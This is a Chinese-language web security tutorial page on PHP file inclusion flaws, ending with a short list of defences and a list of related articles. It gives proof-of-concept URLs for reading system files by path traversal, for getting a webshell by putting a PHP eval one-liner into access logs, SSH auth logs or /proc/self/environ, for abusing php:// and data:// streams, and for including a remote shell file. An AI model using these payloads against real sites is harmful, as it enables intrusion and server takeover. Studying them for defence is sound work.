程式碼安全之檔案包含
漏洞成因
PHP檔案包含漏洞的產生原因是在通過PHP的函式引入檔案時,由於傳入的檔名沒有經過合理的校驗,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。
PHP檔案包含漏洞程式碼
以上程式碼儲存為 http://www.test.com/index.php
本地檔案包含
包含系統檔案
windows
linux
普通許可權:
root許可權:
獲取webshell
包含web日誌檔案
1 訪問連線 http://www.test.com/<?php eval(POST_['test']) ?>
2 使用菜刀連線 http://www.test.com/index.php?func=/var/log/apache/access.log
這種方式有一個弊端,由於access的日誌檔案比較大,所以webshell可能會很慢甚至卡死
包含ssh登入日誌
如果web伺服器開啟了ssh,且我可以使用putty連線其埠,我們可以嘗試連線,使用<?php eval(POST_['test']) ?>作為使用者名稱,然後在登入失敗後,使用者名稱會被記錄在ssh的失敗登入日誌(/var/log/auth.log)中,我們可以包含這個日誌檔案獲取webshell。
包含環境變數
我們在user-agent中插入一句話,然後訪問web伺服器,在/proc/self/environ中會包含我們的user-agent資訊,然後我們可以包含該檔案獲取webshell。下面是該檔案的內容:
包含使用者上傳檔案
包含圖片
使用者上傳圖片功能是web服務網站最常用的功能,沒什麼好說的
包含壓縮包
上傳一個包含一句話的rar壓縮包,這個功能在php版本大於5.30下可以利用
【POC】http://www.test.com/index.php?file=phar://test.rar/test.txt
遠端檔案包含
利用方式
包含遠端伺服器檔案
利用條件
需要allow_url_fopen=On並且 allow_url_include=On
POC
【POC】http://www.test.com/index.php?file=[http|https|ftp]://example.com/shell.txt
利用PHP流
利用條件
需要allow_url_include=On
利用方式
【POC】 http://www.test.com/index.php?file=php://input
【POC】 http://www.test.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
【POC】 http://www.test.com/index.php?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
對於有限制的檔案包含
包含指令碼
<?php include($_GET['file'] . ".htm"); ?>
突破方式
00截斷
利用條件
需要 magic_quotes_gpc=off,PHP小於5.3.4有效
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd
超長檔名截斷
利用條件
php版本小於5.2.8(?)可以成功,linux需要檔名長於4096,windows需要長於256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
點號截斷
利用條件
php版本小於5.2.8(?)可以成功,只適用windows,點號需要長於256
利用方式
【POC】http://www.test.com/index.php?file=../../../../../../../../../boot.ini/………[…]…………
防禦措施
1 儘量不要使用者控制檔案包含的引數
2 開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
3 關閉allow_url_include函式,防止遠端檔案包含。
4 包含檔案白名單限制
不同語言有包含功能的函式
PHP
include()
include_once()
require()
require_once()
fopen()
readfile()
jsp
include:
<%@ include file="body.jsp"%>
jsp:include:
<jsp:include page="head.jsp"/>
採用JSTL:
<c:import url="http://thief.one/1.jsp">
asp
<!--#include file="1.asp" -->
aspx
<!--#include file="top.aspx" -->
相關文章
- [web安全] 檔案包含漏洞Web
- 檔案包含之包含了Linux檔案描述符Linux
- 檔案包含之/proc/self/environ
- 本地檔案包含之包含日誌獲取webshellWebshell
- 程式碼安全之上傳檔案
- 檔案包含之銘感目錄
- 檔案包含漏洞(本地包含配合檔案上傳)
- Shell 檔案包含
- 檔案包含2
- CTFer——檔案包含
- java安全編碼指南之:檔案IO操作Java
- 什麼是檔案包含漏洞?檔案包含漏洞分類!
- PHP檔案包含 整理PHP
- 檔案包含漏洞示例
- 包含檔案(Include file)
- MMAN程式TRACE檔案包含不必要資訊
- Linux Shell檔案之間的包含關係Linux
- 突破上傳之檔案包含漏洞以及修復方案
- Web安全之檔案上傳Web
- 遠端檔案包含shell
- PHP基礎---檔案包含PHP
- 檔案包含漏洞小結
- java安全編碼指南之:檔案和共享目錄的安全性Java
- ClickOnce釋出包含某檔案
- PHP檔案包含小總結PHP
- "白話"PHP檔案包含漏洞PHP
- c26---檔案包含include
- PHP防護XSS,SQL,程式碼執行,檔案包含等多種高危漏洞PHPSQL
- 搜尋檔案下包含某個字串的檔案字串
- html檔案中包含其他檔案的方法大全HTML
- Javascript 基礎夯實 —— 通過程式碼構建一個包含檔案的 FormData 物件JavaScriptORM物件
- 流行 VPN 包含允許執行任意程式碼的安全漏洞
- Web 安全漏洞之檔案上傳Web
- php圖片上傳之檔案安全PHP
- Apache Tomcat檔案包含漏洞分析ApacheTomcat
- 檔案包含漏洞(繞過姿勢)
- 檔案包含漏洞檢測工具fimap
- 控制檔案包含哪些基本內容